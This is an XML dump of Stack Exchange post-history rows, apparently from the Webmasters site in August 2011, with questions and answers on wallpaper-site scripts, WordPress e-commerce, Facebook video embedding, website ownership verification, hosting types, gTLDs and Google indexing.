  <row Id="43835" PostHistoryTypeId="2" PostId="18097" RevisionGUID="080ff677-52d1-47ed-b283-e17919086229" CreationDate="2011-08-11T21:27:08.147" UserId="6051" Text="I am going to create a website offering desktop wallpapers. &#xD;&#xA;&#xD;&#xA;Currently I am looking at [W-script][1], but as I am looking into the code, it is not as flexible as I want it to be. &#xD;&#xA;&#xD;&#xA;So, I want the best software/script to create a wallpaper-website. &#xD;&#xA;Preferably, it should be as flexible and easy-to-customize as Wordpress, but I know I might ask too much of the software, as it is an unusual type of script. &#xD;&#xA;&#xD;&#xA;Hope some of you have some tips for this!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w-script.com/" />
  <row Id="43836" PostHistoryTypeId="1" PostId="18097" RevisionGUID="080ff677-52d1-47ed-b283-e17919086229" CreationDate="2011-08-11T21:27:08.147" UserId="6051" Text="Web-software for a wallpaper-site" />
  <row Id="43837" PostHistoryTypeId="3" PostId="18097" RevisionGUID="080ff677-52d1-47ed-b283-e17919086229" CreationDate="2011-08-11T21:27:08.147" UserId="6051" Text="&lt;software&gt;" />
  <row Id="43840" PostHistoryTypeId="5" PostId="18097" RevisionGUID="ff51b390-a95f-4c00-963a-8d6cfd0474a8" CreationDate="2011-08-11T21:58:53.863" UserId="1253" Comment="minor text edits" Text="I am going to create a website offering desktop wallpapers. &#xD;&#xA;&#xD;&#xA;Currently I am looking at [W-script][1], but as I am looking into the code, it is not as flexible as I want it to be. &#xD;&#xA;&#xD;&#xA;So, I want the best software/script to create a wallpaper-website. &#xD;&#xA;Preferably, it should be as flexible and easy-to-customize as Wordpress, but I know I might ask too much of the software, as it is an unusual type of script. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w-script.com/" />
  <row Id="43841" PostHistoryTypeId="6" PostId="18097" RevisionGUID="ff51b390-a95f-4c00-963a-8d6cfd0474a8" CreationDate="2011-08-11T21:58:53.863" UserId="1253" Comment="minor text edits" Text="&lt;looking-for-a-script&gt;" />
  <row Id="43842" PostHistoryTypeId="2" PostId="18099" RevisionGUID="926cc947-e99c-40c2-9778-fadab0114fb7" CreationDate="2011-08-11T22:07:44.040" UserId="7198" Text="If you're already familiar with WordPress, you could simply use one of the many [photo gallery themes](http://www.google.co.uk/search?q=wordpress+photo+gallery+theme). They'd be perfectly suited to a site offering large images like desktop wallpapers (or would make excellent starting points, at least).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43843" PostHistoryTypeId="25" PostId="17996" RevisionGUID="c8b42eeb-9993-4fd8-8d90-d89d504fd7de" CreationDate="2011-08-11T22:34:20.310" Comment="http://twitter.com/#!/StackWebmasters/status/101783533315571713" />
  <row Id="43844" PostHistoryTypeId="2" PostId="18100" RevisionGUID="8e652e03-4758-4bc8-ad70-10d13f1df2cf" CreationDate="2011-08-11T23:38:02.473" UserId="9540" Text="I'm looking for a ecommerce plugin (if it's through WP that works too) that I can integrate into an existing site.  I'm looking for something like wordpress, where I can extend the config into the existing pages and run the libraries api through that.&#xD;&#xA;&#xD;&#xA;Needs to be free too!" />
  <row Id="43845" PostHistoryTypeId="1" PostId="18100" RevisionGUID="8e652e03-4758-4bc8-ad70-10d13f1df2cf" CreationDate="2011-08-11T23:38:02.473" UserId="9540" Text="Best ecommerce that's easy to customize into a existing site? (WP?)" />
  <row Id="43846" PostHistoryTypeId="3" PostId="18100" RevisionGUID="8e652e03-4758-4bc8-ad70-10d13f1df2cf" CreationDate="2011-08-11T23:38:02.473" UserId="9540" Text="&lt;wordpress&gt;&lt;ecommerce&gt;&lt;free&gt;" />
  <row Id="43847" PostHistoryTypeId="2" PostId="18101" RevisionGUID="5a2544b0-a568-422f-844b-7307ab96979a" CreationDate="2011-08-12T00:32:45.983" UserId="4118" Text="    GET http://www.example.com/path/file.html HTTP/1.1&#xD;&#xA;    GET http://www.othersite.net/ HTTP/1.1&#xD;&#xA;&#xD;&#xA;These are attempts to use your server as a HTTP proxy; that's what a full URL rather than a path in the request means. These are attempts to misuse your server as an open proxy, which it is properly rejecting.&#xD;&#xA;&#xD;&#xA;Giving the full URL while requesting a page from your own site may also be the result of broken HTTP clients.&#xD;&#xA;&#xD;&#xA;Don't worry about it as long as you have 4xx responses in your logs." />
  <row Id="43848" PostHistoryTypeId="25" PostId="18080" RevisionGUID="9103589c-196e-4f8d-abe9-86b6093fbae7" CreationDate="2011-08-12T00:34:20.710" Comment="http://twitter.com/#!/StackWebmasters/status/101813735848550401" />
  <row Id="43849" PostHistoryTypeId="17" PostId="18102" RevisionGUID="8cd05a87-63a0-40a9-a685-7b94ff848eb5" CreationDate="2011-08-12T01:30:27.077" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/18035/how-to-embed-my-website-videos-in-facebook-via-status" Text="" />
  <row Id="43850" PostHistoryTypeId="17" PostId="18103" RevisionGUID="6c6e41dc-3f1e-4f17-8c0c-123732cc929f" CreationDate="2011-08-12T01:30:27.077" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/18035/how-to-embed-my-website-videos-in-facebook-via-status" Text="" />
  <row Id="43851" PostHistoryTypeId="2" PostId="18103" RevisionGUID="80e05a10-abd8-4a17-8a36-25fdb437ffb2" CreationDate="2011-08-11T21:57:47.900" UserId="9551" UserDisplayName="Jay Mahendru" Text="This article should help you out: [Play Custom Video Player on Facebook][1].&#xD;&#xA;&#xD;&#xA;&gt; Facebook and the Open Graph Protocol allows you to define special meta&#xD;&#xA;&gt; data on your web pages that defines them in Facebook’s social graph.&#xD;&#xA;&gt; In this post i’ll show you how to set up the meta tags required for&#xD;&#xA;&gt; you to use a custom video player on Facebook, styled exactly like you&#xD;&#xA;&gt; want it. It will show up, and play, directly within Facebook status&#xD;&#xA;&gt; updates whenever someone shares the web page containing that meta&#xD;&#xA;&gt; data. Pretty cool, huh?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ahrengot.com/tutorials/custom-video-player-on-facebook/" />
  <row Id="43852" PostHistoryTypeId="2" PostId="18102" RevisionGUID="bdc4ffb0-b7c1-44e6-bff5-facd866cb284" CreationDate="2011-08-11T21:45:32.763" UserDisplayName="Ehtesham" Text="I have a Joomla website having a lot of videos, I want to embed my videos in facebook by sharing via status update like you do when sharing youtube video. When you paste a link there facebook automatically extract the video and embed there. On my website I have videos but when I paste the link there on facebook it just treats it as a page not as a video. I want my videos to be playable there on facebook without redirecting to my website. Is there a way i can achieve this?&#xD;&#xA;" />
  <row Id="43853" PostHistoryTypeId="1" PostId="18102" RevisionGUID="bdc4ffb0-b7c1-44e6-bff5-facd866cb284" CreationDate="2011-08-11T21:45:32.763" UserDisplayName="Ehtesham" Text="How to embed my website videos in facebook via status" />
  <row Id="43854" PostHistoryTypeId="3" PostId="18102" RevisionGUID="bdc4ffb0-b7c1-44e6-bff5-facd866cb284" CreationDate="2011-08-11T21:45:32.763" UserDisplayName="Ehtesham" Text="&lt;video&gt;&lt;youtube&gt;" />
  <row Id="43855" PostHistoryTypeId="6" PostId="18100" RevisionGUID="702075c9-40c3-43b9-b495-9c5922d6444c" CreationDate="2011-08-12T01:36:52.610" UserId="1064" Comment="Removed &quot;free&quot; tag, added &quot;looking-for-a-script&quot; tag" Text="&lt;wordpress&gt;&lt;looking-for-a-script&gt;&lt;ecommerce&gt;" />
  <row Id="43856" PostHistoryTypeId="17" PostId="18104" RevisionGUID="9f6ade1c-c0ec-4b4d-ad3a-4ca5670cab63" CreationDate="2011-08-12T01:40:19.027" UserId="-1" Comment="from http://stackoverflow.com/questions/7030610/how-to-verify-that-someone-owns-a-website" Text="" />
  <row Id="43857" PostHistoryTypeId="2" PostId="18105" RevisionGUID="b1649e1c-9bc2-4ba0-b935-afbcd6ff47f5" CreationDate="2011-08-11T18:01:55.033" UserDisplayName="aioobe" Text="I definitely think &#xD;&#xA;&#xD;&#xA;&gt; - Upload an obscurely named html file to the root directory with given contents&#xD;&#xA;&#xD;&#xA;is the best way to go. I've actually had to do this once. And I don't think many website configurations prevent you from doing this.&#xD;&#xA;&#xD;&#xA;If you're really concerned about this, why not allow all (safe) options?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Regarding your comment:&#xD;&#xA;&#xD;&#xA;&gt; Yes but with MVC systems (such as codeigniter), it can be a hassle to figure out how to access a physical file which isn't a part of the main system&#xD;&#xA;&#xD;&#xA;In these *rare* cases, let those admins go with the CNAME / TXT records or call them :-)" />
  <row Id="43858" PostHistoryTypeId="2" PostId="18104" RevisionGUID="99252f83-d39d-465c-b4d0-647080ad0e7d" CreationDate="2011-08-11T17:58:00.633" UserId="9542" UserDisplayName="Cyclone" Text="I'm trying to think of ways to, as securely as possible, verify that a user owns a website that they claim to own.&#xD;&#xA;&#xD;&#xA;Here are some ways I've seen:&#xD;&#xA;&#xD;&#xA; - Upload an obscurely-named HTML file to the root directory with given contents&#xD;&#xA; - Include a meta tag or other comment somewhere in the home page source&#xD;&#xA; - Send an email to an address `@domainwearetryingtovalidate.tld` with a verification link&#xD;&#xA; - Check a CNAME or TXT record&#xD;&#xA; - Check WHOIS records&#xD;&#xA; - Physically validate by calling or emailing the support line, manually updating records&#xD;&#xA;&#xD;&#xA;And here are the problems with those methods, in order:&#xD;&#xA;&#xD;&#xA; - Some website configurations may not allow for simply uploading a file to the root&#xD;&#xA; - Poor site design might allow a user of that site to add this meta tag themselves&#xD;&#xA; - Websites which provide email services make this useless; take `gmail.com` for example&#xD;&#xA; - That's too complex for most small website owners to figure out how to do&#xD;&#xA; - Those are public; anyone can claim to be whoever. Not to mention most often inaccurate.&#xD;&#xA; - Huuuuge waste of time&#xD;&#xA;&#xD;&#xA;Are there any other ways to verify that a user on your site owns a particular website? Of the methods I listed, which of these are best and worst? I ordered them from best to worst in my own opinion, but I'd like to see what others think as well.&#xD;&#xA;&#xD;&#xA;I plan on implementing one or more of these in PHP." />
  <row Id="43859" PostHistoryTypeId="1" PostId="18104" RevisionGUID="99252f83-d39d-465c-b4d0-647080ad0e7d" CreationDate="2011-08-11T17:58:00.633" UserId="9542" UserDisplayName="Cyclone" Text="How to verify that someone owns a website?" />
  <row Id="43860" PostHistoryTypeId="3" PostId="18104" RevisionGUID="99252f83-d39d-465c-b4d0-647080ad0e7d" CreationDate="2011-08-11T17:58:00.633" UserId="9542" UserDisplayName="Cyclone" Text="&lt;php&gt;&lt;ownership&gt;" />
  <row Id="43861" PostHistoryTypeId="17" PostId="18105" RevisionGUID="f17c96ce-db1d-4869-9a77-dbd4cbf09b60" CreationDate="2011-08-12T01:40:19.027" UserId="-1" Comment="from http://stackoverflow.com/questions/7030610/how-to-verify-that-someone-owns-a-website" Text="" />
  <row Id="43862" PostHistoryTypeId="17" PostId="18106" RevisionGUID="bb66e6bd-8d97-47c2-8510-6b7121d125e8" CreationDate="2011-08-12T01:40:19.027" UserId="-1" Comment="from http://stackoverflow.com/questions/7030610/how-to-verify-that-someone-owns-a-website" Text="" />
  <row Id="43863" PostHistoryTypeId="17" PostId="18107" RevisionGUID="4321d5cf-ccc5-435f-8f61-a47b8cd3471d" CreationDate="2011-08-12T01:40:19.027" UserId="-1" Comment="from http://stackoverflow.com/questions/7030610/how-to-verify-that-someone-owns-a-website" Text="" />
  <row Id="43864" PostHistoryTypeId="17" PostId="18108" RevisionGUID="2d5309a7-b72b-4c41-ac94-a35ee8801d84" CreationDate="2011-08-12T01:40:19.027" UserId="-1" Comment="from http://stackoverflow.com/questions/7030610/how-to-verify-that-someone-owns-a-website" Text="" />
  <row Id="43865" PostHistoryTypeId="2" PostId="18106" RevisionGUID="af1e527e-1c99-4152-a506-b177b35eaf80" CreationDate="2011-08-11T18:03:04.597" UserId="9543" UserDisplayName="Laurent" Text="Uploading an obscurely named file is the way to go.&#xD;&#xA;&#xD;&#xA;You wrote the drawback is that they may not be allowed to upload a file to the root. Well in that case it means they don't own the website, which is what you're trying to find out." />
  <row Id="43866" PostHistoryTypeId="2" PostId="18107" RevisionGUID="4ad1255b-7305-4c9b-b023-da0b859f0613" CreationDate="2011-08-11T18:05:54.487" UserDisplayName="Darius Kucinskas" Text="I would recommend using meta tag... &#xD;&#xA;   &gt; - Include a meta tag&#xD;&#xA;" />
  <row Id="43867" PostHistoryTypeId="2" PostId="18108" RevisionGUID="2a2a738f-0c53-4f8e-b391-f8c0de1fb896" CreationDate="2011-08-11T19:26:27.733" UserDisplayName="VettelS" Text="Personally I would go with the automated email option.&#xD;&#xA;&#xD;&#xA;Ask the user to input their URL and email address, checking that the domain is the same in both cases. The use the same system as password reset systems use:&#xD;&#xA;&#xD;&#xA; - Generate a random hash, partly made up of the current microtime and domain&#xD;&#xA; - Store the hash in a database&#xD;&#xA; - Send the user an email with a verification link, where the 'id' parameter is the hash&#xD;&#xA; - Now the user is verified (delete the row from the database)&#xD;&#xA;&#xD;&#xA;For added security, store the time that the hash was generated, and then have it time out after an hour or two." />
  <row Id="43868" PostHistoryTypeId="2" PostId="18109" RevisionGUID="fcc2943c-3819-4a18-b476-a952eb4e4688" CreationDate="2011-08-12T02:05:25.567" UserId="8687" Text="If you look at [google's own robots.txt][1] file you will find the line:&#xD;&#xA;&#xD;&#xA;    Disallow: /search&#xD;&#xA;&#xD;&#xA;So google does not index it's own search results.&#xD;&#xA;&#xD;&#xA;Blogger and Youtube are both owned by google and are indexed. So yes, google does index it's own pages - but not it's search result pages.&#xD;&#xA;&#xD;&#xA;[Yahoo's robots.txt][2] for it's search pages has a similar line as does [Bing's robots.txt][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/robots.txt&#xD;&#xA;  [2]: http://search.yahoo.com/robots.txt&#xD;&#xA;  [3]: http://www.bing.com/robots.txt" />
  <row Id="43869" PostHistoryTypeId="5" PostId="18096" RevisionGUID="7bfb034b-c998-4a9e-9270-07b0d74d0745" CreationDate="2011-08-12T02:08:52.847" UserId="4306" Comment="update for clarity" Text="No, they do not index their own search result pages." />
  <row Id="43870" PostHistoryTypeId="24" PostId="18096" RevisionGUID="7bfb034b-c998-4a9e-9270-07b0d74d0745" CreationDate="2011-08-12T02:08:52.847" Comment="Proposed by 4306 approved by 108 edit id of 483" />
  <row Id="43871" PostHistoryTypeId="2" PostId="18110" RevisionGUID="514c3d1d-9746-4ea6-8386-7244f66714b8" CreationDate="2011-08-12T02:09:50.947" UserId="8743" Text="What the difference between a shared host and a cloud server.&#xD;&#xA;&#xD;&#xA;I have a url http://domain.com and with a shared host, easly I have FTP details where I can upload everything on the server. Is is the same with cloud server or is it the same as amazon Cloudfront where you haven't got FTP details etc? &#xD;&#xA;&#xD;&#xA;What are the differences in terms of speed?&#xD;&#xA;&#xD;&#xA;Thanks alot" />
  <row Id="43872" PostHistoryTypeId="1" PostId="18110" RevisionGUID="514c3d1d-9746-4ea6-8386-7244f66714b8" CreationDate="2011-08-12T02:09:50.947" UserId="8743" Text="Shared Host VS Cloud server" />
  <row Id="43873" PostHistoryTypeId="3" PostId="18110" RevisionGUID="514c3d1d-9746-4ea6-8386-7244f66714b8" CreationDate="2011-08-12T02:09:50.947" UserId="8743" Text="&lt;cloud-hosting&gt;" />
  <row Id="43874" PostHistoryTypeId="25" PostId="18104" RevisionGUID="cd5cdeee-c94c-4b52-8d5f-a810d6274263" CreationDate="2011-08-12T02:34:20.590" Comment="http://twitter.com/#!/StackWebmasters/status/101843934933819393" />
  <row Id="43875" PostHistoryTypeId="5" PostId="8169" RevisionGUID="72dc91d3-8eb3-443e-a1f7-1781db293ab5" CreationDate="2011-08-12T03:26:01.257" UserId="1253" Comment="modified tags" Text="I'm looking for a script, functioning like the Google homepage that fetches data from a database rather than the internet. &#xD;&#xA;&#xD;&#xA;This is not intended to be a search engine, but a repository of jokes that can be pulled depending on the keywords typed. No sophisticated search techniques are required - keyword based is perfectly fine.&#xD;&#xA;&#xD;&#xA;If some mechanism of up/down-voting jokes can be incorporated, that would be fantastic, but I'm presuming that will be an entirely different game.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43876" PostHistoryTypeId="6" PostId="8169" RevisionGUID="72dc91d3-8eb3-443e-a1f7-1781db293ab5" CreationDate="2011-08-12T03:26:01.257" UserId="1253" Comment="modified tags" Text="&lt;php&gt;&lt;search-engines&gt;&lt;looking-for-a-script&gt;&lt;mysql&gt;" />
  <row Id="43877" PostHistoryTypeId="25" PostId="18102" RevisionGUID="069d032c-a47f-49e7-80f2-3a05b2ea3b77" CreationDate="2011-08-12T04:34:20.970" Comment="http://twitter.com/#!/StackWebmasters/status/101874133943599104" />
  <row Id="43878" PostHistoryTypeId="25" PostId="18029" RevisionGUID="3021f352-4498-4521-a05c-12411ae3bbe2" CreationDate="2011-08-12T06:34:20.917" Comment="http://twitter.com/#!/StackWebmasters/status/101904333091782656" />
  <row Id="43879" PostHistoryTypeId="2" PostId="18111" RevisionGUID="bda11662-2942-4d45-8baf-1bcab7cf7452" CreationDate="2011-08-12T06:44:02.473" UserId="9545" Text="What is the default type search done by google, while, processing a query. Does it do 'broad' 'phrase' or 'exact' match searches? &#xD;&#xA;" />
  <row Id="43880" PostHistoryTypeId="1" PostId="18111" RevisionGUID="bda11662-2942-4d45-8baf-1bcab7cf7452" CreationDate="2011-08-12T06:44:02.473" UserId="9545" Text="What is the default type search done by google, while, processing a query" />
  <row Id="43881" PostHistoryTypeId="3" PostId="18111" RevisionGUID="bda11662-2942-4d45-8baf-1bcab7cf7452" CreationDate="2011-08-12T06:44:02.473" UserId="9545" Text="&lt;google&gt;" />
  <row Id="43882" PostHistoryTypeId="2" PostId="18112" RevisionGUID="b8b6dc64-e007-4037-8a4b-3d2b73197035" CreationDate="2011-08-12T07:38:11.017" UserId="7801" Text="I've just gone through the same process and found that the [Jigoshop][1] plugin for WP is the easiest to manipulate. I tried all of the others (Dukapress, Cartpress, WP-E-Commerce) and they either had a poor interface or were very hard to adjust.&#xD;&#xA;&#xD;&#xA;With Jigoshop, get ready to use `display:none;` a lot! I've found that the functions on the page were quite tricky to move around but most we're pretty easy to just hide via CSS.&#xD;&#xA;&#xD;&#xA;Also, it has some very useful widgets. I've put together a little hack to display widgets where ever you want on the page so just let me know if you need some help on that.&#xD;&#xA;&#xD;&#xA;The only downside to it is that it has very few payment providers integrated, this wasn't a problem for us as we're using Paypal anyway.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jigoshop.com/" />
  <row Id="43883" PostHistoryTypeId="2" PostId="18113" RevisionGUID="e08683c0-b381-47a4-a765-aedece3ca0ba" CreationDate="2011-08-12T08:01:43.660" UserId="1643" Text="The files on domain.com live on one physical machine whereas on Cloudfront they live on many servers around the world. When someone gets a file from Cloudfront comes from the nearest server to them. So it is designed to be quicker for the user.&#xD;&#xA;&#xD;&#xA;I've answered your question about Cloudfront, but Amazon's other cloud services do different things, so if you want to know about the difference between those services, and a shared host then it's best to ask other questions." />
  <row Id="43884" PostHistoryTypeId="2" PostId="18114" RevisionGUID="b39cd222-7c6d-4f09-bab5-597fd3107bd7" CreationDate="2011-08-12T08:14:43.577" UserId="8009" Text="I've received a few marketing emails in the last couple of days trying to sell seats at conventions wanting to explain the concept of gTLD's.&#xD;&#xA;&#xD;&#xA;My understanding is that gTLDs will allow the average joe (or at least, an average joe with $xx,xxx) to register custom domain extensions? For example '.sony' or '.band', allowing for phones.sony or metallica.band to be full domain names.&#xD;&#xA;&#xD;&#xA;Is this new functionality of any concern for the regular web user? Obviously it won't (or **shouldn't** affect search rankings - after all, it would allow those with the money to spend to buy their way up SERPS, but thats a different kettle of fish). Is the new gTLD system going to be another kind of 'domain' rush like in the late 90's?&#xD;&#xA;&#xD;&#xA;Is my understanding completely wrong?" />
  <row Id="43885" PostHistoryTypeId="1" PostId="18114" RevisionGUID="b39cd222-7c6d-4f09-bab5-597fd3107bd7" CreationDate="2011-08-12T08:14:43.577" UserId="8009" Text="gTLDs... Should they be something to look at?" />
  <row Id="43886" PostHistoryTypeId="3" PostId="18114" RevisionGUID="b39cd222-7c6d-4f09-bab5-597fd3107bd7" CreationDate="2011-08-12T08:14:43.577" UserId="8009" Text="&lt;domains&gt;&lt;top-level-domains&gt;" />
  <row Id="43887" PostHistoryTypeId="2" PostId="18115" RevisionGUID="76b59d6f-e6f4-43f3-96dc-a505b2ff8aaa" CreationDate="2011-08-12T08:32:33.003" UserId="221" Text="No, gTLDs are of no concern to the &quot;regular web user&quot;. The only ones that might be interested in acquiring a gTLDs are large companies and organizations with enough money to be able to afford the $185,000 dollar application fee and the ongoing cost of operating a TLD.&#xD;&#xA;&#xD;&#xA;Unless your employer fits that description, you can safely ignore these.&#xD;&#xA;&#xD;&#xA;Furthermore, these conventions seem a bit iffy. No new TLDs have been approved under the new scheme and it seems likely that ICANN will be moving cautiously with the first few approvals. Until a few applications have gone through and the new TLDs go live, it is very difficult to say what effect they will have (if any) on the Internet as we know it. I'd save my money." />
  <row Id="43888" PostHistoryTypeId="25" PostId="17527" RevisionGUID="df04b301-084b-42a2-b95f-935481bb7531" CreationDate="2011-08-12T08:34:20.567" Comment="http://twitter.com/#!/StackWebmasters/status/101934531296231424" />
  <row Id="43889" PostHistoryTypeId="2" PostId="18116" RevisionGUID="fe118867-6b4f-4e1f-98c9-6ab645063ac7" CreationDate="2011-08-12T08:35:15.090" UserId="1643" Text="1. There are a number of PHP frameworks that will do the low level work for getting data and displaying it.&#xD;&#xA;2. See 1.&#xD;&#xA;3. If you have a Google map which shows your house then click on the link icon at the top to get a version of it you can link to or embed.&#xD;&#xA;4. Not easily.&#xD;&#xA;5. If they are using a content management system then these have calendar modules available. You may find that someone's done a calendar module for the framework you choose." />
  <row Id="43890" PostHistoryTypeId="2" PostId="18117" RevisionGUID="ed533359-1024-4916-be20-971642af8f79" CreationDate="2011-08-12T09:23:18.287" UserId="4502" Text="It's not really that simple when you factor in personalization, Google's tendency to use synonyms rather than what you actually tell it, etc. but here's Google &lt;a href=&quot;http://www.google.com/support/websearch/bin/static.py?hl=en&amp;page=guide.cs&amp;guide=1221265&amp;answer=134479&amp;rd=1&quot;&gt;basic search help page&lt;/a&gt; with a quick overview of how it treats your terms. Phrase searching is &lt;a href=&quot;http://www.google.com/support/websearch/bin/static.py?hl=en&amp;page=guide.cs&amp;guide=1221265&amp;answer=136861&amp;rd=1#exceptions&quot;&gt;triggered with quotes&lt;/a&gt;. You'll have to explain how that's different from &quot;exact&quot; searches.&#xD;&#xA;&#xD;&#xA;Reading all of that page will probably answer several other questions you likely have." />
  <row Id="43891" PostHistoryTypeId="5" PostId="18117" RevisionGUID="db3de131-e2dc-406e-b2d7-9a013e58c4c2" CreationDate="2011-08-12T10:15:39.840" UserId="4502" Comment="added 25 characters in body" Text="It's not really that simple when you factor in personalization, Google's tendency to use synonyms or &quot;corrected&quot; spellings rather than what you actually tell it, etc. but here's Google &lt;a href=&quot;http://www.google.com/support/websearch/bin/static.py?hl=en&amp;page=guide.cs&amp;guide=1221265&amp;answer=134479&amp;rd=1&quot;&gt;basic search help page&lt;/a&gt; with a quick overview of how it treats your terms. Phrase searching is &lt;a href=&quot;http://www.google.com/support/websearch/bin/static.py?hl=en&amp;page=guide.cs&amp;guide=1221265&amp;answer=136861&amp;rd=1#exceptions&quot;&gt;triggered with quotes&lt;/a&gt;. You'll have to explain how that's different from &quot;exact&quot; searches.&#xD;&#xA;&#xD;&#xA;Reading all of that page will probably answer several other questions you likely have." />
  <row Id="43896" PostHistoryTypeId="25" PostId="17371" RevisionGUID="4360f35f-ba35-4aec-bf31-4a0fdc9ec11b" CreationDate="2011-08-12T10:34:20.557" Comment="http://twitter.com/#!/StackWebmasters/status/101964730721247232" />
  <row Id="43897" PostHistoryTypeId="5" PostId="18077" RevisionGUID="bf6a4ff6-d58f-4d79-8a26-aa34917f145b" CreationDate="2011-08-12T10:57:38.880" UserId="1429" Comment="deleted 95 characters in body" Text="You could give a try to http://www.ezpzhosting.co.uk/&#xD;&#xA;&#xD;&#xA;or http://www.eukhost.com/&#xD;&#xA;&#xD;&#xA;**But you better always check 1st on WebHsotingTalk** [searching the Main Webhosting Forum][1] for keywords containing the hoster name like: &quot;ezpz review&quot;, &quot;eukhost&quot;&#xD;&#xA;&#xD;&#xA;and always ask technical pre-sales questions to get at least a feeling of their know how.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webhostingtalk.com/search.php&#xD;&#xA;" />
  <row Id="43898" PostHistoryTypeId="2" PostId="18119" RevisionGUID="bf477223-85db-445f-a016-037c0a6803d5" CreationDate="2011-08-12T10:59:02.813" UserId="9204" Text="Among all the google optimization tips, there is one which says &quot;Use a CSS form to embed the ads unit for more seamless design.&quot; What does this mean? How does one implement a CSS form?&#xD;&#xA;&#xD;&#xA;Link to the page where the above phrase is used: http://www.google.com/support/adsense/bin/static.py?page=guide.cs&amp;guide=30000&amp;topic=30002&amp;answer=187706" />
  <row Id="43899" PostHistoryTypeId="1" PostId="18119" RevisionGUID="bf477223-85db-445f-a016-037c0a6803d5" CreationDate="2011-08-12T10:59:02.813" UserId="9204" Text="What is a CSS form? What does one embed an asense ad into a css form?" />
  <row Id="43900" PostHistoryTypeId="3" PostId="18119" RevisionGUID="bf477223-85db-445f-a016-037c0a6803d5" CreationDate="2011-08-12T10:59:02.813" UserId="9204" Text="&lt;css&gt;&lt;google-adsense&gt;" />
  <row Id="43901" PostHistoryTypeId="5" PostId="18077" RevisionGUID="2b11c751-27a7-452d-80ed-c3a1f2f975c7" CreationDate="2011-08-12T11:08:41.763" UserId="1429" Comment="added 528 characters in body" Text="You could give a try to http://www.ezpzhosting.co.uk/&#xD;&#xA;&#xD;&#xA;or http://www.eukhost.com/&#xD;&#xA;&#xD;&#xA;**But you better always check 1st on WebHsotingTalk** [searching the Main Webhosting Forum][1] for keywords containing the hoster name like: &quot;ezpz review&quot;, &quot;eukhost&quot;&#xD;&#xA;&#xD;&#xA;The eukhost is extermely cheap, an probably you get what you pay for, many bad reviews on WHT, [even on their forum][2] :-), but I have to say I somehow appreciate they are so transaparent, not many hosters would do the same.&#xD;&#xA;Moreover I used their almost cheapest hosting (Linux Bornze) in my experince wasn't great, but for the ridicolous price I paid I probably can not complain, and maybe more expensive plans like VPS are more reliable.&#xD;&#xA;&#xD;&#xA;Finally **always ask technical pre-sales questions to get at least a feeling of their know how**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webhostingtalk.com/search.php&#xD;&#xA;  [2]: http://www.eukhost.com/forums/f13/avoid-eukhost-like-plague-14901/" />
  <row Id="43902" PostHistoryTypeId="5" PostId="18043" RevisionGUID="da3437ef-c96c-418d-ac01-5be717df6242" CreationDate="2011-08-12T11:12:29.637" UserId="1429" Comment="added 70 characters in body" Text="The [&quot;how much money you can make out with Adsense&quot;][1] could be another scale, even if **the numbers provided there are IMHO extremely optimistic!**&#xD;&#xA;&#xD;&#xA;I usually see much, much, much less money per month comapred to the numbers given out in the above link ([I can't disclose due to Google Adsense terms of policy][2])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quickonthenet.com/features/How-to-Make-Money-with-Google.cfm&#xD;&#xA;  [2]: http://www.google.com/support/forum/p/AdSense/thread?tid=63fbbe4518ffe831&amp;hl=en" />
  <row Id="43903" PostHistoryTypeId="14" PostId="18088" RevisionGUID="6c432ae5-3d01-482e-a63c-2f3a30637811" CreationDate="2011-08-12T11:34:52.293" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="43904" PostHistoryTypeId="17" PostId="18088" RevisionGUID="1be3eb45-42c3-42d7-8a47-a819e487aa96" CreationDate="2011-08-12T11:34:52.357" UserId="108" Comment="to http://drupal.stackexchange.com/questions/9136/drupal-takes-over-sibling-site" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="43905" PostHistoryTypeId="10" PostId="18088" RevisionGUID="f7d52129-0799-44ea-a68b-d8b80fd4982e" CreationDate="2011-08-12T11:34:50.857" UserId="108" CloseReasonId="2" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="43906" PostHistoryTypeId="2" PostId="18120" RevisionGUID="a3e24b71-2c38-45d9-9557-88d9a1f849ac" CreationDate="2011-08-12T11:34:57.573" UserId="9495" Text="Is google still giving weightage for old domain .. i.e atleast 6 month old.?&#xD;&#xA;&#xD;&#xA;I mean I have the best content which is useful for users.&#xD;&#xA;&#xD;&#xA;Do I still have to wait for my domain name to be at least 6 months old?&#xD;&#xA;&#xD;&#xA;How does google work in indexing and what factors forms a good and regular indexing of wepages of a website?" />
  <row Id="43907" PostHistoryTypeId="1" PostId="18120" RevisionGUID="a3e24b71-2c38-45d9-9557-88d9a1f849ac" CreationDate="2011-08-12T11:34:57.573" UserId="9495" Text="Is google still giving weightage for old domain .. i.e atleast 6 month old.?" />
  <row Id="43908" PostHistoryTypeId="3" PostId="18120" RevisionGUID="a3e24b71-2c38-45d9-9557-88d9a1f849ac" CreationDate="2011-08-12T11:34:57.573" UserId="9495" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;&lt;google-adsense&gt;&lt;indexing&gt;" />
  <row Id="43909" PostHistoryTypeId="5" PostId="18120" RevisionGUID="31f9f067-f71e-4725-97c3-36388956900b" CreationDate="2011-08-12T11:40:01.267" UserId="1253" Comment="deleted 110 characters in body" Text="Is google still giving weightage for old domain .. i.e atleast 6 month old.?&#xD;&#xA;&#xD;&#xA;I mean I have the best content which is useful for users.&#xD;&#xA;&#xD;&#xA;Do I still have to wait for my domain name to be at least 6 months old?&#xD;&#xA;" />
